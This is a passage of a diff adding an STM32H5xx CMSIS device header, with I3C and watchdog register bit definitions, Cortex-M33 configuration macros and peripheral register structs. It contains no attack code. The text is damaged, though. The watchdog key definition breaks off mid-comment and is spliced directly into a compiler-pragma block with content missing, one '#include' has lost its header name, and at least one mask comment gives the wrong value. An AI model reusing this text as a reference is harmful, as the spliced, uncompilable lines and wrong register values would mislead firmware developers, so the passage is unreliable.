/*!< Dynamic Address Target x */ +#define I3C_DEVRX_IBIACK_Pos (16U) +#define I3C_DEVRX_IBIACK_Msk (0x1UL << I3C_DEVRX_IBIACK_Pos) /*!< 0x00010000 */ +#define I3C_DEVRX_IBIACK I3C_DEVRX_IBIACK_Msk /*!< IBI Acknowledge from Target x */ +#define I3C_DEVRX_CRACK_Pos (17U) +#define I3C_DEVRX_CRACK_Msk (0x1UL << I3C_DEVRX_CRACK_Pos) /*!< 0x00020000 */ +#define I3C_DEVRX_CRACK I3C_DEVRX_CRACK_Msk /*!< Controller-role Acknowledge from Target x */ +#define I3C_DEVRX_IBIDEN_Pos (18U) +#define I3C_DEVRX_IBIDEN_Msk (0x1UL << I3C_DEVRX_IBIDEN_Pos) /*!< 0x00040000 */ +#define I3C_DEVRX_IBIDEN I3C_DEVRX_IBIDEN_Msk /*!< IBI Additional Data Enable */ +#define I3C_DEVRX_SUSP_Pos (19U) +#define I3C_DEVRX_SUSP_Msk (0x1UL << I3C_DEVRX_SUSP_Pos) /*!< 0x00080000 */ +#define I3C_DEVRX_SUSP I3C_DEVRX_SUSP_Msk /*!< Suspended Transfer */ +#define I3C_DEVRX_DIS_Pos (31U) +#define I3C_DEVRX_DIS_Msk (0x1UL << I3C_DEVRX_DIS_Pos) /*!< 0x80000000 */ +#define I3C_DEVRX_DIS I3C_DEVRX_DIS_Msk /*!< Disable Register access */ + +/****************** Bit definition for I3C_MAXRLR register ******************/ +#define I3C_MAXRLR_MRL_Pos (0U) +#define I3C_MAXRLR_MRL_Msk (0xFFFFUL << I3C_MAXRLR_MRL_Pos) /*!< 0x0000FFFF */ +#define I3C_MAXRLR_MRL I3C_MAXRLR_MRL_Msk /*!< Maximum Read Length */ +#define I3C_MAXRLR_IBIP_Pos (16U) +#define I3C_MAXRLR_IBIP_Msk (0x7UL << I3C_MAXRLR_IBIP_Pos) /*!< 0x00070000 */ +#define I3C_MAXRLR_IBIP I3C_MAXRLR_IBIP_Msk /*!< IBI Payload size */ +#define I3C_MAXRLR_IBIP_0 (0x1UL << I3C_MAXRLR_IBIP_Pos) /*!< 0x00010000 */ +#define I3C_MAXRLR_IBIP_1 (0x2UL << I3C_MAXRLR_IBIP_Pos) /*!< 0x00020000 */ +#define I3C_MAXRLR_IBIP_2 (0x4UL << I3C_MAXRLR_IBIP_Pos) /*!< 0x00040000 */ + +/****************** Bit definition for I3C_MAXWLR register ******************/ +#define I3C_MAXWLR_MWL_Pos (0U) +#define I3C_MAXWLR_MWL_Msk (0xFFFFUL << I3C_MAXWLR_MWL_Pos) /*!< 0x0000FFFF */ +#define I3C_MAXWLR_MWL I3C_MAXWLR_MWL_Msk /*!< Maximum Write Length */ + +/**************** Bit definition for I3C_TIMINGR0 register ******************/ +#define I3C_TIMINGR0_SCLL_PP_Pos (0U) +#define I3C_TIMINGR0_SCLL_PP_Msk (0xFFUL << I3C_TIMINGR0_SCLL_PP_Pos) /*!< 0x000000FF */ +#define I3C_TIMINGR0_SCLL_PP I3C_TIMINGR0_SCLL_PP_Msk /*!< SCL Low duration during I3C Push-Pull phases */ +#define I3C_TIMINGR0_SCLH_I3C_Pos (8U) +#define I3C_TIMINGR0_SCLH_I3C_Msk (0xFFUL << I3C_TIMINGR0_SCLH_I3C_Pos) /*!< 0x0000FF00 */ +#define I3C_TIMINGR0_SCLH_I3C I3C_TIMINGR0_SCLH_I3C_Msk /*!< SCL High duration during I3C Open-drain and Push-Pull phases */ +#define I3C_TIMINGR0_SCLL_OD_Pos (16U) +#define I3C_TIMINGR0_SCLL_OD_Msk (0xFFUL << I3C_TIMINGR0_SCLL_OD_Pos) /*!< 0x00FF0000 */ +#define I3C_TIMINGR0_SCLL_OD I3C_TIMINGR0_SCLL_OD_Msk /*!< SCL Low duration during I3C Open-drain phases and I2C transfer */ +#define I3C_TIMINGR0_SCLH_I2C_Pos (24U) +#define I3C_TIMINGR0_SCLH_I2C_Msk (0xFFUL << I3C_TIMINGR0_SCLH_I2C_Pos) /*!< 0xFF000000 */ +#define I3C_TIMINGR0_SCLH_I2C I3C_TIMINGR0_SCLH_I2C_Msk /*!< SCL High duration during I2C transfer */ + +/**************** Bit definition for I3C_TIMINGR1 register ******************/ +#define I3C_TIMINGR1_AVAL_Pos (0U) +#define I3C_TIMINGR1_AVAL_Msk (0xFFUL << I3C_TIMINGR1_AVAL_Pos) /*!< 0x000000FF */ +#define I3C_TIMINGR1_AVAL I3C_TIMINGR1_AVAL_Msk /*!< Timing for I3C Bus Idle or Available condition */ +#define I3C_TIMINGR1_ASNCR_Pos (8U) +#define I3C_TIMINGR1_ASNCR_Msk (0x3UL << I3C_TIMINGR1_ASNCR_Pos) /*!< 0x00000300 */ +#define I3C_TIMINGR1_ASNCR I3C_TIMINGR1_ASNCR_Msk /*!< Activity State of the New Controller */ +#define I3C_TIMINGR1_ASNCR_0 (0x1UL << I3C_TIMINGR1_ASNCR_Pos) /*!< 0x00000100 */ +#define I3C_TIMINGR1_ASNCR_1 (0x2UL << I3C_TIMINGR1_ASNCR_Pos) /*!< 0x00000200 */ +#define I3C_TIMINGR1_FREE_Pos (16U) +#define I3C_TIMINGR1_FREE_Msk (0x7FUL << I3C_TIMINGR1_FREE_Pos) /*!< 0x007F0000 */ +#define I3C_TIMINGR1_FREE I3C_TIMINGR1_FREE_Msk /*!< Timing for I3C Bus Free condition */ +#define I3C_TIMINGR1_SDA_HD_Pos (28U) +#define I3C_TIMINGR1_SDA_HD_Msk (0x1UL << I3C_TIMINGR1_SDA_HD_Pos) /*!< 0x00010000 */ +#define I3C_TIMINGR1_SDA_HD I3C_TIMINGR1_SDA_HD_Msk /*!< SDA Hold Duration */ + +/**************** Bit definition for I3C_TIMINGR2 register ******************/ +#define I3C_TIMINGR2_STALLT_Pos (0U) +#define I3C_TIMINGR2_STALLT_Msk (0x1UL << I3C_TIMINGR2_STALLT_Pos) /*!< 0x00000001 */ +#define I3C_TIMINGR2_STALLT I3C_TIMINGR2_STALLT_Msk /*!< Stall on T bit */ +#define I3C_TIMINGR2_STALLD_Pos (1U) +#define I3C_TIMINGR2_STALLD_Msk (0x1UL << I3C_TIMINGR2_STALLD_Pos) /*!< 0x00000002 */ +#define I3C_TIMINGR2_STALLD I3C_TIMINGR2_STALLD_Msk /*!< Stall on PAR bit of data bytes */ +#define I3C_TIMINGR2_STALLC_Pos (2U) +#define I3C_TIMINGR2_STALLC_Msk (0x1UL << I3C_TIMINGR2_STALLC_Pos) /*!< 0x00000004 */ +#define I3C_TIMINGR2_STALLC I3C_TIMINGR2_STALLC_Msk /*!< Stall on PAR bit of CCC byte */ +#define I3C_TIMINGR2_STALLA_Pos (3U) +#define I3C_TIMINGR2_STALLA_Msk (0x1UL << I3C_TIMINGR2_STALLA_Pos) /*!< 0x00000008 */ +#define I3C_TIMINGR2_STALLA I3C_TIMINGR2_STALLA_Msk /*!< Stall on ACK bit */ +#define I3C_TIMINGR2_STALL_Pos (8U) +#define I3C_TIMINGR2_STALL_Msk (0xFFUL << I3C_TIMINGR2_STALL_Pos) /*!< 0x0000FF00 */ +#define I3C_TIMINGR2_STALL I3C_TIMINGR2_STALL_Msk /*!< Controller Stall duration */ + +/******************* Bit definition for I3C_BCR register ********************/ +#define I3C_BCR_BCR_Pos (0U) +#define I3C_BCR_BCR_Msk (0xFFUL << I3C_BCR_BCR_Pos) /*!< 0x000000FF */ +#define I3C_BCR_BCR I3C_BCR_BCR_Msk /*!< Bus Characteristics */ +#define I3C_BCR_BCR0_Pos (0U) +#define I3C_BCR_BCR0_Msk (0x1UL << I3C_BCR_BCR0_Pos) /*!< 0x00000001 */ +#define I3C_BCR_BCR0 I3C_BCR_BCR0_Msk /*!< Max Data Speed Limitation */ +#define I3C_BCR_BCR1_Pos (1U) +#define I3C_BCR_BCR1_Msk (0x1UL << I3C_BCR_BCR1_Pos) /*!< 0x00000002 */ +#define I3C_BCR_BCR1 I3C_BCR_BCR1_Msk /*!< IBI Request capable */ +#define I3C_BCR_BCR2_Pos (2U) +#define I3C_BCR_BCR2_Msk (0x1UL << I3C_BCR_BCR2_Pos) /*!< 0x00000004 */ +#define I3C_BCR_BCR2 I3C_BCR_BCR2_Msk /*!< IBI Payload additional Mandatory Data Byte */ +#define I3C_BCR_BCR3_Pos (3U) +#define I3C_BCR_BCR3_Msk (0x1UL << I3C_BCR_BCR3_Pos) /*!< 0x00000008 */ +#define I3C_BCR_BCR3 I3C_BCR_BCR3_Msk /*!< Offline capable */ +#define I3C_BCR_BCR4_Pos (4U) +#define I3C_BCR_BCR4_Msk (0x1UL << I3C_BCR_BCR4_Pos) /*!< 0x00000010 */ +#define I3C_BCR_BCR4 I3C_BCR_BCR4_Msk /*!< Virtual target support */ +#define I3C_BCR_BCR5_Pos (5U) +#define I3C_BCR_BCR5_Msk (0x1UL << I3C_BCR_BCR5_Pos) /*!< 0x00000020 */ +#define I3C_BCR_BCR5 I3C_BCR_BCR5_Msk /*!< Advanced capabilities */ +#define I3C_BCR_BCR6_Pos (6U) +#define I3C_BCR_BCR6_Msk (0x1UL << I3C_BCR_BCR6_Pos) /*!< 0x00000040 */ +#define I3C_BCR_BCR6 I3C_BCR_BCR6_Msk /*!< Device Role shared during Dynamic Address Assignment */ + +/******************* Bit definition for I3C_DCR register ********************/ +#define I3C_DCR_DCR_Pos (0U) +#define I3C_DCR_DCR_Msk (0xFFUL << I3C_DCR_DCR_Pos) /*!< 0x000000FF */ +#define I3C_DCR_DCR I3C_DCR_DCR_Msk /*!< Devices Characteristics */ + +/***************** Bit definition for I3C_GETCAPR register ******************/ +#define I3C_GETCAPR_CAPPEND_Pos (14U) +#define I3C_GETCAPR_CAPPEND_Msk (0x1UL << I3C_GETCAPR_CAPPEND_Pos) /*!< 0x00004000 */ +#define I3C_GETCAPR_CAPPEND I3C_GETCAPR_CAPPEND_Msk /*!< IBI Request with Mandatory Data Byte */ + +/***************** Bit definition for I3C_CRCAPR register *******************/ +#define I3C_CRCAPR_CAPDHOFF_Pos (3U) +#define I3C_CRCAPR_CAPDHOFF_Msk (0x1UL << I3C_CRCAPR_CAPDHOFF_Pos) /*!< 0x00000008 */ +#define I3C_CRCAPR_CAPDHOFF I3C_CRCAPR_CAPDHOFF_Msk /*!< Controller-role handoff needed */ +#define I3C_CRCAPR_CAPGRP_Pos (9U) +#define I3C_CRCAPR_CAPGRP_Msk (0x1UL << I3C_CRCAPR_CAPGRP_Pos) /*!< 0x00000200 */ +#define I3C_CRCAPR_CAPGRP I3C_CRCAPR_CAPGRP_Msk /*!< Group Address handoff supported */ + +/**************** Bit definition for I3C_GETMXDSR register ******************/ +#define I3C_GETMXDSR_HOFFAS_Pos (0U) +#define I3C_GETMXDSR_HOFFAS_Msk (0x3UL << I3C_GETMXDSR_HOFFAS_Pos) /*!< 0x00000003 */ +#define I3C_GETMXDSR_HOFFAS I3C_GETMXDSR_HOFFAS_Msk /*!< Handoff Activity State */ +#define I3C_GETMXDSR_HOFFAS_0 (0x1UL << I3C_GETMXDSR_HOFFAS_Pos) /*!< 0x00000001 */ +#define I3C_GETMXDSR_HOFFAS_1 (0x2UL << I3C_GETMXDSR_HOFFAS_Pos) /*!< 0x00000002 */ +#define I3C_GETMXDSR_FMT_Pos (8U) +#define I3C_GETMXDSR_FMT_Msk (0x3UL << I3C_GETMXDSR_FMT_Pos) /*!< 0x00000300 */ +#define I3C_GETMXDSR_FMT I3C_GETMXDSR_FMT_Msk /*!< Get Max Data Speed response in format 2 */ +#define I3C_GETMXDSR_FMT_0 (0x1UL << I3C_GETMXDSR_FMT_Pos) /*!< 0x00000100 */ +#define I3C_GETMXDSR_FMT_1 (0x2UL << I3C_GETMXDSR_FMT_Pos) /*!< 0x00000200 */ +#define I3C_GETMXDSR_RDTURN_Pos (16U) +#define I3C_GETMXDSR_RDTURN_Msk (0xFFUL << I3C_GETMXDSR_RDTURN_Pos) /*!< 0x00FF0000 */ +#define I3C_GETMXDSR_RDTURN I3C_GETMXDSR_RDTURN_Msk /*!< Max Read Turnaround Middle Byte */ +#define I3C_GETMXDSR_TSCO_Pos (24U) +#define I3C_GETMXDSR_TSCO_Msk (0x1UL << I3C_GETMXDSR_TSCO_Pos) /*!< 0x01000000 */ +#define I3C_GETMXDSR_TSCO I3C_GETMXDSR_TSCO_Msk /*!< Clock-to-data Turnaround time */ + +/****************** Bit definition for I3C_EPIDR register *******************/ +#define I3C_EPIDR_MIPIID_Pos (12U) +#define I3C_EPIDR_MIPIID_Msk (0xFUL << I3C_EPIDR_MIPIID_Pos) /*!< 0x0000F000 */ +#define I3C_EPIDR_MIPIID I3C_EPIDR_MIPIID_Msk /*!< MIPI Instance ID */ +#define I3C_EPIDR_IDTSEL_Pos (16U) +#define I3C_EPIDR_IDTSEL_Msk (0x1UL << I3C_EPIDR_IDTSEL_Pos) /*!< 0x00010000 */ +#define I3C_EPIDR_IDTSEL I3C_EPIDR_IDTSEL_Msk /*!< ID Type Selector */ +#define I3C_EPIDR_MIPIMID_Pos (17U) +#define I3C_EPIDR_MIPIMID_Msk (0x7FFFUL << I3C_EPIDR_MIPIMID_Pos) /*!< 0xFFFE0000 */ +#define I3C_EPIDR_MIPIMID I3C_EPIDR_MIPIMID_Msk /*!< MIPI Manufacturer ID */ + +/******************************************************************************/ +/* */ +/* Independent WATCHDOG */ +/* */ +/******************************************************************************/ +/******************* Bit definition for IWDG_KR register ********************/ +#define IWDG_KR_KEY_Pos (0U) +#define IWDG_KR_KEY_Msk (0xFFFFUL << IWDG_KR_KEY_Pos) /*!< 0x0000FFFF */ +#define IWDG_KR_KEY IWDG_KR_KEY_Msk /*!= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ + uint32_t RESERVED3[246]; /*!< Reserved, */ + __IO uint32_t HWCFGR; /*!< CRC IP HWCFGR register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< CRC IP version register, Address offset: 0x3F4 */ + __IO uint32_t PIDR; /*!< CRC IP type identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< CRC IP map Size ID register, Address offset: 0x3FC */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ +} I2C_TypeDef; + +/** + * @brief Improved Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR; /*!< I3C Control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< I3C Controller Configuration register, Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t RDR; /*!< I3C Received Data register, Address offset: 0x10 */ + __IO uint32_t RDWR; /*!< I3C Received Data Word register, Address offset: 0x14 */ + __IO uint32_t TDR; /*!< I3C Transmit Data register, Address offset: 0x18 */ + __IO uint32_t TDWR; /*!< I3C Transmit Data Word register, Address offset: 0x1C */ + __IO uint32_t IBIDR; /*!< I3C IBI payload Data register, Address offset: 0x20 */ + __IO uint32_t TGTTDR; /*!< I3C Target Transmit register, Address offset: 0x24 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x28-0x2C */ + __IO uint32_t SR; /*!< I3C Status register, Address offset: 0x30 */ + __IO uint32_t SER; /*!< I3C Status Error register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x38-0x3C */ + __IO uint32_t RMR; /*!< I3C Received Message register, Address offset: 0x40 */ + uint32_t RESERVED4[3]; /*!< Reserved, Address offset: 0x44-0x4C */ + __IO uint32_t EVR; /*!< I3C Event register, Address offset: 0x50 */ + __IO uint32_t IER; /*!< I3C Interrupt Enable register, Address offset: 0x54 */ + __IO uint32_t CEVR; /*!< I3C Clear Event register, Address offset: 0x58 */ + uint32_t RESERVED5; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t DEVR0; /*!< I3C own Target characteristics register, Address offset: 0x60 */ + __IO uint32_t DEVRX[4]; /*!< I3C Target x (1<=x<=4) register, Address offset: 0x64-0x70 */ + uint32_t RESERVED6[7]; /*!< Reserved, Address offset: 0x74-0x8C */ + __IO uint32_t MAXRLR; /*!< I3C Maximum Read Length register, Address offset: 0x90 */ + __IO uint32_t MAXWLR; /*!< I3C Maximum Write Length register, Address offset: 0x94 */ + uint32_t RESERVED7[2]; /*!< Reserved, Address offset: 0x98-0x9C */ + __IO uint32_t TIMINGR0; /*!< I3C Timing 0 register, Address offset: 0xA0 */ + __IO uint32_t TIMINGR1; /*!< I3C Timing 1 register, Address offset: 0xA4 */ + __IO uint32_t TIMINGR2; /*!< I3C Timing 2 register, Address offset: 0xA8 */ + uint32_t RESERVED9[5]; /*!< Reserved, Address offset: 0xAC-0xBC */ + __IO uint32_t BCR; /*!< I3C Bus Characteristics register, Address offset: 0xC0 */ + __IO uint32_t DCR; /*!< I3C Device Characteristics register, Address offset: 0xC4 */ + __IO uint32_t GETCAPR; /*!< I3C GET CAPabilities register, Address offset: 0xC8 */ + __IO uint32_t CRCAPR; /*!< I3C Controller CAPabilities register, Address offset: 0xCC */ + __IO uint32_t GETMXDSR; /*!< I3C GET Max Data Speed register, Address offset: 0xD0 */ + __IO uint32_t EPIDR; /*!< I3C Extended Provisioned ID register, Address offset: 0xD4 */ +} I3C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[103]; /*!< HASH context swap registers, Address offset: 0x0F8-0x290 */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[16]; /*!< HASH digest registers, Address offset: 0x310-0x34C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2[54]; /*!< Reserved, 0x24 - 0xF8 */ + __IO uint32_t SR; /*!< Debug MCU SR register, Address offset: 0xFC */ + __IO uint32_t DBG_AUTH_HOST; /*!< Debug DBG_AUTH_HOST register, Address offset: 0x100 */ + __IO uint32_t DBG_AUTH_DEV; /*!< Debug DBG_AUTH_DEV register, Address offset: 0x104 */ + __IO uint32_t DBG_AUTH_ACK; /*!< Debug DBG_AUTH_ACK register, Address offset: 0x108 */ + uint32_t RESERVED3[945]; /*!< Reserved, 0x10C - 0xFCC */ + __IO uint32_t PIDR4; /*!< Debug MCU Peripheral ID register 4, Address offset: 0xFD0 */ + __IO uint32_t PIDR5; /*!< Debug MCU Peripheral ID register 5, Address offset: 0xFD4 */ + __IO uint32_t PIDR6; /*!< Debug MCU Peripheral ID register 6, Address offset: 0xFD8 */ + __IO uint32_t PIDR7; /*!< Debug MCU Peripheral ID register 7, Address offset: 0xFDC */ + __IO uint32_t PIDR0; /*!< Debug MCU Peripheral ID register 0, Address offset: 0xFE0 */ + __IO uint32_t PIDR1; /*!< Debug MCU Peripheral ID register 1, Address offset: 0xFE4 */ + __IO uint32_t PIDR2; /*!< Debug MCU Peripheral ID register 2, Address offset: 0xFE8 */ + __IO uint32_t PIDR3; /*!< Debug MCU Peripheral ID register 3, Address offset: 0xFEC */ + __IO uint32_t CIDR0; /*!< Debug MCU Component ID register 0, Address offset: 0xFF0 */ + __IO uint32_t CIDR1; /*!< Debug MCU Component ID register 1, Address offset: 0xFF4 */ + __IO uint32_t CIDR2; /*!< Debug MCU Component ID register 2, Address offset: 0xFF8 */ + __IO uint32_t CIDR3; /*!< Debug MCU Component ID register 3, Address offset: 0xFFC */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + 